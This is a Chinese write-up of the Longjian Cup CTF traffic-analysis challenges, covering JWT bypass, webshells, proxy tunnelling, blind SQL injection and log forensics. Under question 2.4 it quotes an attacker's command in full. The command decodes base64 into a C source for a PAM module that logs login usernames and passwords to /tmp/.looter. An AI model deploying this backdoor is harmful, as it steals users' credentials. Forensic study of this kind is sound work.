陇剑杯流量分析题解Writeup
转发自小学弟的WP,有两个取证类的题目因为电脑volatility
的问题就没有写在题解里了
题目资源
题目中的流量文件都放到公众号芸潘
了,后台回复陇剑杯
即可获得下载链接
签到题
使用wireshark打开下载下来的‘Good.pcapng’流量包
1.1此时正在进行的可能是__协议的网络攻击(http,dns,ftp)
打开流量包发现总共有ARP HTTP Tcp等协议,没有发现ftp,dns包,所以可以认为是http攻击
jwt题
使用wireshark打开下载下来的‘goroot.pcap’流量包
发现有http包,便选择过滤,右键选择追踪流进入http流
2.1该网站使用了什么认证方式
科普知识:JWT
JWT全程为json web token 是目前最流行的跨域认证解决方案。
跨域认证的问题
互联网服务的用户认证流程一般如下
- 用户向服务器发送用户名和密码
- 服务器验证过后,在当前对话(session)里面保存相关数据,比如用户角色,登陆时间等
- 服务器向用户返回一个session_id,写入用户的cookie
- 用户随后的每一个请求,都会通过cookie,将session_id传回服务器。
- 服务器收到session_id。找到前期保存的数据,由此得到用户的身份。
现在我们考虑的是如果要求A网站和B网站是同一家公司的关联服务,现在要求,用户只要在其中一个网站登录,再访问另一个网站就会自动登录,请问怎么实现。
JWT就提供了解决方案,服务器不保存用户的session数据,所有数据都再客户端,每次请求都发回服务器。
原理
JWT的原理是,服务器认证以后,生成一个JSON对象,发送给用户,就像下面这样:
{ "name":"smith",
"age":30,
"sex":男 }
(有点类似于python的字典)
以后,用户每次想和服务器通讯,都会发送这个json对象。服务器完全只靠这个对象来认定用户身份。这样服务器就可以不保存session数据,减轻了服务器的载荷同时也易于扩展。
JWT的数据结构
实际的JWT就像下面这样
中间用.分割成三个部分。JWT内部是没有换行的,这里是为了好表示,所以写成了几行。
JWT的三个部分有Header Payload Signature,分别是头部,载荷,签名
Header部分就是一个json对象,它用来描述JWT的元数据。
payload也是一个json对象,用来存放我们实际需要传送的数据。
最后Signature是为了防止对两部分内容进行数据篡改,而采用的安全措施。
服务器会存有一个密钥,然后使用header里面指定的签名算法(默认为HMAC SHA256),按照以下公式来产生签名。
然后把三个部分拼接为字符串,每个部分用点(.)分割,然后传给用户。
JWT的几个特点
- JWT默认是不加密的。所以最好不要将秘密数据放在JWT里面。
- JWT不仅可以用作用户验证,也可以用于交换信息,有效使用JWT,可以降低服务器查询数据库的次数。
- JWT的最大缺点为,因为服务器不保存session状态,所以再服务器签发了某个JWT后,并不能废除或者更改某个TOKEN。
- JWT本身包含了认证信息,一旦泄露的话,任何人都可以获得该令牌的所有权限,为了减少盗用,JWT的有效期应该设置为比较短。
- 传输JWT的时候,应该用HTTPS协议传输。
2.1解法
查找数据包,会发现再token里有下列数据
这就是JWT的类型,所以判断出使用了JWT认证方式。
2.2黑客绕过验证使用的JWT中,id和username是__
用wirkshark进行过滤,因为是涉及到id和username,猜测用的是post方法。
所以wireshark语法为http.request.method=="POST" ,找到一个info为identity数据包追踪流。
这里由于我菜,一直以为
这个是明码标价告诉了我答案(当时我还觉得自己很聪明,id就是identity的缩写),后头才发现是社会的毒打。
还是需要通过jwt解密,所以复制token,去jwt在线解密
然后发现是错的!!!!
然后就只有一个一个查包,终于再这样一个包下
发现了不一样的token
然后复制解码
所以答案为10087#admin
2.3黑客获取webshell之后,权限是__
就在刚刚找到token的包里面,仔细看就会发现他输入了whoami命令,用来查看权限。
然后服务器弹出框: alert("root\n")
所以答案为root
2.4黑客上传的恶意文件文件名是__
依然是找包,发现有一个这样的包
command=echo%20I2luY2x1ZGUgPHN0ZGlvLmg%2bCiNpbmNsdWRlIDxzdGRsaWIuaD4KI2luY2x1ZGUgPGN1cmwvY3VybC5oPgojaW5jbHVkZSA8c3RyaW5nLmg%2bCiNpbmNsdWRlIDxzZWN1cml0eS9wYW1fYXBwbC5oPgojaW5jbHVkZSA8c2VjdXJpdHkvcGFtX21vZHVsZXMuaD4KI2luY2x1ZGUgPHVuaXN0ZC5oPgpzaXplX3Qgd3JpdGVfZGF0YSh2b2lkICpidWZmZXIsIHNpemVfdCBzaXplLCBzaXplX3Qgbm1lbWIsIHZvaWQgKnVzZXJwKQp7CnJldHVybiBzaXplICogbm1lbWI7Cn0KCnZvaWQgc2F2ZU1lc3NhZ2UoY2hhciAoKm1lc3NhZ2UpW10pIHsKRklMRSAqZnAgPSBOVUxMOwpmcCA9IGZvcGVuKCIvdG1wLy5sb290ZXIiLCAiYSsiKTsKZnB1dHMoKm1lc3NhZ2UsIGZwKTsKZmNsb3NlKGZwKTsKfQoKUEFNX0VYVEVSTiBpbnQgcGFtX3NtX3NldGNyZWQoIHBhbV9oYW5kbGVfdCAqcGFtaCwgaW50IGZsYWdzLCBpbnQgYXJnYywgY29uc3QgY2hhciAqKmFyZ3YgKSB7CnJldHVybiBQQU1fU1VDQ0VTUzsKfQoKUEFNX0VYVEVSTiBpbnQgcGFtX3NtX2FjY3RfbWdtdChwYW1faGFuZGxlX3QgKnBhbWgsIGludCBmbGFncywgaW50IGFyZ2MsIGNvbnN0IGNoYXIgKiphcmd2KSB7CnJldHVybiBQQU1fU1VDQ0VTUzsKfQoKUEFNX0VYVEVSTiBpbnQgcGFtX3NtX2F1dGhlbnRpY2F0ZSggcGFtX2hhbmRsZV90ICpwYW1oLCBpbnQgZmxhZ3MsaW50IGFyZ2MsIGNvbnN0IGNoYXIgKiphcmd2ICkgewppbnQgcmV0dmFsOwpjb25zdCBjaGFyKiB1c2VybmFtZTsKY29uc3QgY2hhciogcGFzc3dvcmQ7CmNoYXIgbWVzc2FnZVsxMDI0XTsKcmV0dmFsID0gcGFtX2dldF91c2VyKHBhbWgsICZ1c2VybmFtZSwgIlVzZXJuYW1lOiAiKTsKcGFtX2dldF9pdGVtKHBhbWgsIFBBTV9BVVRIVE9LLCAodm9pZCAqKSAmcGFzc3dvcmQpOwppZiAocmV0dmFsICE9IFBBTV9TVUNDRVNTKSB7CnJldHVybiByZXR2YWw7Cn0KCnNucHJpbnRmKG1lc3NhZ2UsMjA0OCwiVXNlcm5hbWUgJXNcblBhc3N3b3JkOiAlc1xuIix1c2VybmFtZSxwYXNzd29yZCk7CnNhdmVNZXNzYWdlKCZtZXNzYWdlKTsKcmV0dXJuIFBBTV9TVUNDRVNTOwp9|base64%20-d%20>/tmp/1.c
黑客将一些特殊编码保存为一个叫做1.c的文件,所以我们可以知道答案为1.c
2.5 黑客再服务器上编译的恶意so文件,文件名是__
这个题目很明显是后缀为so的文件,随便找包就会发现一个叫做looter.so的文件
所以答案为looter.so
2.6 黑客在服务器上修改了一个配置文件,文件的绝对路径为__
找到这样一个数据包
里面
可以知道文件被导向/etc/pam.d/common-auth路径,猜测这就是被修改的配置文件。
webshell
3.1黑客登陆系统使用的密码是__
使用wireshark打开下载下来的'hack.pcap'流量包
过滤语法为http.request.method=="POST"
找到一个描述为
的包,打开进入tcp流
所以密码为:Admin!@#
3.2黑客修改了一个日志文件,文件的绝对路径为__
仍然是通过post方法来找,发现有许多个包都指向了一个相对路径
在代码为332包里,看到黑客将webshell写入了一个
的文件,所以猜测绝对路径就是进行了拼接
/var/www/html/data/Runtime/Logs/Home/21_08_07.log
3.3黑客获取webshell之后的权限是:
找到两个带有命令whoami的包里,代码为200那一个,找到它的返回包
319包
便可以看到权限为www-data
3.4黑客写入的webshell文件名是__
通过流量分析找到webshell的文件名,发现了一个叫做1.php的文件,这个很可能就是一个webshell文明名。
3.5黑客上传的代理工具客户端名字是__
这道题也是看了网上师傅的解法,为什么这么做哥们完全不知道,找到了序号为343的流量包,打开发现
经过url解码
然后截取那个以j68的,字符进行base64解码,从第二位算起
得到为frpc.ini
3.6黑客代理工具的回连服务端ip是_
将344包中POST内容中键值为xa5d....
进行十六进制转换。
然后就
3.7黑客的socks5的连接账号、密码是__
仍然是344包,追踪tcp流,并进行16进制解码,得到用户名和密码
sql注入
8.1黑客在注入过程中采用的注入手法叫__
下载下来文件发现只有一个日志文件。
打开,又关掉(hhhhh)
这种日志形式的sql注入回显,不必多言,就是布尔盲注类型
这里说一下布尔盲注的定义:
基于布尔的盲注:
Web的页面的仅仅会返回True和False。那么布尔盲注就是进行SQL注入之后然后根据页面返回的True或者是False来得到数据库中的相关信息。页面没有显示为,没有输出sql语句执行错误信息,只能通过页面返回正常不正常来判断是否存在注入。
8.2黑客在注入过程中,最终获取flag的数据库名、表名和字段名是__。
这个主要是通过页面回显的字数来判断你是否正确的猜到名字。
这里进行一个简单的举例:
这个是在猜测库名的第一个字符。我们发现网页回显的字数,大多数都在418 417左右,到但是最后一个472明显多了很多,我们猜测他就是正确的回显。即数据库名的第一个字符为'S'
由此可以举一反三,东施效颦,做出来答案为:
库名:sqli, 表名:flag 字段:flag
8.3 flag值为_
这道题一个个来拼接确实太麻烦了。最好是动用脚本
脚本就直接抄另外师傅的了
from urllib import parse
num=0
line=0
tmp1=1
tmp2=2
str1=''
with open("access.log",'r') as f:
string=f.readline()
while(string !=''):
if("sqli.flag" in string):
string=parse.unquote(string)
num=string.find("sqli.flag")#字符
num+=19
line=string.find("sqli.flag")
line+=11
if(string[line+1] ==","):
tmp1=int(string[line])
elif(string[line+1] !=","):
num+=1
tmp1=int(string[line:line+2])
if(tmp1 ==tmp2): #发现目标字符,是上一行的
tmp2+=1
print(str1,end="")
str1=string[num] #保留上一行的字符
string=f.readline()
原文链接:https://blog.csdn.net/weixin_46245411/article/details/120304208
日志分析
4.1网络存在源码泄露,源码文件名是_
打开下载下来的日志文件发现,网页里面有许多请求。
其中404请求是非正常访问的,所以我们只需要看200请求的就好了。过滤一下200,然后发现
有这么一个记录,而且还是zip形式压缩包,所以该题答案为www.zip
4.2 分析攻击流量,黑客往/tmp目录写入了一个文件,文件名为__
因为题目都说了是往/tmp写入文件,所以我们只需要搜索/tmp
然后发现了这样的记录
由此可知答案为secc_car
4.3分析攻击流量,黑客使用的是__类读取了秘密文件。
这道题就是看看上面那题的日志记录后面,发现一个php的函数
这里简单说一下该函数是为了php处理大文件读取的函数。
所以该题答案为splfileobject
ios题
10.1 黑客所控制的C&C服务器ip是_
C&C服务器的全称为dommand and control server,翻译过来就是命令和控制服务器。他类似于一个黑客和受害者的中间件。因为我国普通人是缺少公网ip地址的,所以,黑客经常使用一个中间服务器(比如阿里云,腾讯云等)来充当C&C服务器。这个中间服务器的作用是将我们本地内网的主机监听的端口映射到公网ip的某个端口,这样受害者机器访问中转服务器监听的端口时就相当于访问了我们本地监听的端口。
此题就是要我们找到中间服务器的ip地址。打开下载下来的流量包。
第一题在机缘巧合之下,我们找到了序号为262的流量包。
打开发现
可见黑客做了端口转发操作,由此,可知ip地址为 3.128.156.159
10.2黑客利用的github开源项目的名字为__
同样是上面的流量包
可知它在github上下了一个叫做stowaway的软件。
10.3通讯加密密钥的明文是_
上题我们知道他用的是stowaway,然后github进去看看这个软件的介绍
https://github.com/ph4ntonn/Stowaway
我们可以发现:
然后就可以知道,这个东西了。就是第一题图里的
hack4sec
10.4黑客通过sql盲注拿到了一个敏感数据,内容是_
这里需要用到我们下载下来的另一个文件,keylog.txt,我们需要将它导入到wireshark来解密一些加密的传输包。然后输入http2,可以发现类似于sql注入的痕迹
然后就只需要拼接了
最后答案为:746558f3-c841-456b-85d7-d6c0f2edabb2
10.5 黑客端口扫描的扫描器的扫描范围是:_
因为我们是client,我们需要探测的服务器是server,然后扫描端口常用的工具是nmap,它的默认扫描方式是syn扫描,也就是说,它会自动对端口发送一个syn包,然后该端口如果开着,就会返回一个syn和一个ack包,由此判断该端口是否运行。所以我们查找流量包,可以知道
由此可以判断该题答案为10-499
10.7黑客访问了/攻击了内网的几个服务器,ip地址为:_
172.28.0.2#192.168.1.12
10.8黑客写入了一个webshell,其密码为:_
翻阅access文件,发现以下
base64解码可以知道是在执行命令whoami,所以webshell密码为fxxk
END
建了一个微信的安全交流群,欢迎添加我微信备注进群
,一起来聊天吹水哇,以及一个会发布安全相关内容的公众号,欢迎关注 😃